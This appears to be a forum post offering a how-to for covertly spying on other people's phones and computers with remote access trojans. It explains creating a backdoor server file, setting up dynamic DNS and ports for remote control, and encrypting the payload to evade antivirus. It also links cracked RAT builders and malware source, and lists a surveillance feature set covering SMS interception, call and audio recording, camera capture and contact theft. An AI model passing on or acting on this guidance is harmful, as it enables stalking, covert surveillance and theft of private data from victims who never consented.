there are Many ways to spy a phone for free. you can create your own server.apk (backdoor). with these tools
your server.apk file should opened on the phone which you want to spy.
 
how to setup server.apk
 
-you have to create an account on service like www.noip.com
-you should open your port.
-you will enter your noip adress and opened port to connect your server.apk online from internet connection.
 
Forexample:
this is PC to PC Spy program,  server configuration is similar like this:

when another pc open your server.exe file, you will can control this pc from anywhere in the world.
 
Remote Administration Tool (RAT) for PC and ip-port setup(similar system with phone rats)
 http://www.youtube.com/watch?v=UZ5PGnzAlZc

Blackshades RAT 5.3 Cracked: http://www.datafilehost.com/d/cfcf0da0

Another RAT :Cybergate 3.4.2.2 RAT cracked: https://www.sendspace.com/file/6v4fll
(more suitable with webcam drivers, and more powerful server. difficult to delete.)
http://hackingforum.ru/Thread-CyberGate-3-4-2-2-Cracked-by-The-Old-Warrior


you should crypt your server.exe with some crypter programs to escape from antivirus programs. (like Avast/nod32/avira/kaspersky..)

some useful websites for finding free crypter , free RATs and more info..


trojanforge.co
ic0de.org
hackhound.org
cryptosuite.org
indetectables.net
 
 
 

1- Remote Administration tool for Android (androrat)

You will create your server.apk on a pc with this pc program. you will use noip and port.  when your created server.apk opened on any phone,  you will can start control these android phones from your pc.
 
Download: http://onhax.net/androrat/
 
 
2- dendroid rat source download: http://www48.zippyshare.com/v/50392795/file.html
 
 
what is dendroid rat.
 this is web based rat (mean you will setup it to a website then you can control/spy phones from your web page.

how to setup: https://www.youtube.com/watch?v=o4aJ8bcO3ak
 
Features:
Works with Android
Ringer Up/Down
Media Up/Down
Screen On
Intercept On/Off
Block SMS On/Off
Record Audio
Record Video
Take Photo Front/Back
Record Calls On/Off
Get:
SMS Inbox/OutBox
Browser History/Bookmarks
Call History
Contacts
User Accounts
Installed Apps
Send SMS
Delete SMS
Send SMS To All Contacts
Call Numbers
Delete Call Log
Open Page
Open Dialog (Toast Notification)
Open App
HTTP Flood
Update App
Transfer Bot
Gps Map
 
 
 
3- iphone/android/blacberry
 copy-paste text below with 'cache:' to google search box and click enter.
 
 ' cache:http://www.hackforums.net/showthread.php?tid=3398504 '
 
 
———You should close your antivirus program to use one of these methods.